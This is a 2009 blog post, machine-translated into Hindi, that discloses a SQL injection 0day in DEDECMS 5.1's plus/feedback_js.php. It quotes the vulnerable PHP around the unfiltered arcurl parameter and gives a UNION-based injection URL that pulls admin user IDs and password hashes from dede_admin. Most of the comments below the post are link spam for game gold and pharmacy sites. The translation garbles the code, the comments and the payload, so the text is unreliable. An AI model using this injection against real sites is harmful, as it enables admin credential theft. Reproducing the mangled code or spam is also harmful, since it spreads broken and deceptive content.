5.1 feedback_js.php 0DAY - 0day, DEDECMS, 5.1 DEDECMS, feedback_js.php, इंजेक्शन,

DEDECMS 5.1 feedback_js.php 0DAY

इस प्रवेश 11 अक्टूबर 2009 पर पोस्ट किया गया

लेखक: st0p Rainy'Fox.
स्रोत का संकेत कृपया reproduced किया: http://www.st0p.org http://bbs.erpangzi.com/

इस जोखिम पाया जाता है और Rainy'Fox भी मामले में उपलब्ध है magic_quotes_gpc = बंद

भेद्यता संस्करण: लेख 5.1 Condo
यह पृष्ठभूमि में व्यवस्थापक खाते और हैश एन्क्रिप्ट करने के लिए इस्तेमाल किया जा सकता है, कमियां फ़ाइल प्लस में / feedback_js.php, अनफ़िल्टर्ड पैरामीटर arcurl $ मौजूद

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) अगर (रिक्त (arcID $))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; पंक्ति $ = $ dlist -> dsql -> GetOne (`से चुनें आईडी # @ __ cache_feedbackurl` जहां url = '$ arcurl');
        / / यहाँ arcurl कोई फिल्टर
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; अगर (($ पंक्ति) is_array) urlindex पंक्ति = $ $ 'आईडी'];
       / / वर्तमान परिणाम क्वेरी के लिए urlindex $ असाइनमेंट डाल $ पंक्ति ['आईडी'], हम निम्नलिखित के संचालन में एसक्यूएल बयान का निर्माण कर सकते हैं
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; अगर (खाली && ($ arcID) खाली ($ urlindex)) (निकास);
 / यदि arcID $ खाली है / या urlindex के खाली बाहर निकलें
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; अगर (रिक्त (arcID $)) WQ $ = "$ urlindex = 'urlindex';
 / / $ ArcID के खाली कार्यान्वयन के परिणाम में निम्नलिखित आपरेशन प्रदर्शन WQ डॉलर आवंटित किया जाएगा बस के ऊपर है.
 = " aid=' $arcID ' " ; और WQ डॉलर = "सहायता = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "चयन करें *` से # @ __ प्रतिक्रिया `जहां $ WQ और ischeck dtime desc = '1 'क्रम;
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; Dlist $ -> SetSource ($ querystring);
 ......

के प्रयोग को देखो, बंद कर दिया हे, मैं दो संघ का उपयोग करें

  एक

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = और 'संघ' चयन '= 1 2 संघ 1,1,1, userid, 3,1,3,3, लोक निर्माण विभाग 1,1,3, का चयन करें , 1,1,1,1,1 dede_admin जहां 1 = dede_feedback से 1 संघ का चयन करें * जहां 1 = 2 और'' = '"dede_admin से जहां' = 'से

काश, भी Rainy'Fox और इस लक्ष्य परीक्षण जब वह वास्तव में कहा आदमी magic_quotes_gpc = पर जब .... इस विचार को भी यार्ड के माध्यम से .. बहुत भयानक है, वास्तव में इस प्राप्त करने के लिए कर सकते हैं क्षेत्र नेटवर्क अराजकता, कार्यक्रमों की एक बहुत PHP magic_quotes_gpc में डिफ़ॉल्ट रूप से बंद है, अपने स्वयं के बच भाग फोन होगा ... तुम सच में प्राप्त करने के लिए, कि PHP कार्यक्रम के दुःस्वप्न कर सकते हैं ...

· मार्शल कला धोखा देती जानें

368 जवाब "DEDECMS 5.1 feedback_js.php 0DAY"

Хостинг पर 19 नवम्बर, 2009 By करके | उत्तर दें
Zelo intiresno, hvala
द्वारा सात AKfour पर 1 दिसम्बर, 2009 करके | उत्तर दें
मैं आज यहां खड़ा से पहले कार्य से दीन [यूआरएल = http://www.bawwgt.com] Dofus kamas url [/], भरोसा दिया है आप के लिए आभारी, बलिदान हमारे यूआरएल [द्वारा वहन के प्रति जागरूक = http:/ / में] www.bawwgt.com सस्ते Dofus kamas url [/] मैं राष्ट्रपति धन्यवाद. [यूआरएल = http://www.bawwgt.com] Dofus शक्ति url [/ url [सेवा के लिए leveling] = http://www bawwgt.com.] Dofus kamas] [/ यूआरएल, के रूप में के रूप में अच्छी तरह से उदारता और सहयोग वह इस संक्रमण भर में दिखाया गया है खरीदते हैं.
द्वारा wsewtoexg पर 3 दिसम्बर, 2009 करके | उत्तर दें
CMvNTO honoyhhectcq [यूआरएल = http://bqjmruocdqwf.com/ bqjmruocdqwf url [/], [लिंक = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ लिंक], http://njofsuttytxm.com/
द्वारा Tedy पर 5 दिसम्बर, 2009 करके | उत्तर दें
Dofus 2.0 दिसंबर! 2 से पहले केवल 34 दिनों के यहाँ हो सकता है इससे पहले कि हम जानते हैं [url = http://www.bawwgt.com/fr] Dofus kamas url [/] [url = http://www.bawwgt.com / fr] Dofus kamas moins chers हर खिलाड़ी एक पूरी तरह से नया Dofus अनुभव की खोज करेंगे. url [/] [यूआरएल http://www.bawwgt.com/fr =] acheter डेस Dofus kamas url [/] के साथ सामग्री है रिपोर्ट और मंचों. फिर भी [यूआरएल = http://www.bawwgt.com/fr] ACHAT Dofus kamas url [/], वहाँ? ¯ हमेशा मंचों में हमारे प्रिय खिलाड़ियों के कुछ है.
के द्वारा strattera खरीदने पर 13 दिसम्बर, 2009 करके | उत्तर दें
यह एक अच्छी खबर है. शुक्रिया.
पर 14 दिसम्बर, 2009 द्वारा Seengart करके | उत्तर दें
... जानकारीपूर्ण शैली है ना ..
द्वारा नताशा - वेब पर 16 दिसम्बर, 2009 | संदेश का जवाब दें
Vdaka za zaujimavy ब्लॉग
पर ConradSimone द्वारा 8 मार्च, 2012 करके | उत्तर दें
खैर इस बहुत दिलचस्प indeed.Would के एक छोटे से इस का और अधिक पढ़ें प्यार है अपने लेख में बहुमूल्य जानकारी आप प्रदान करते हैं प्रशंसा करता हूँ.
सिमोन द्वारा कॉनरोड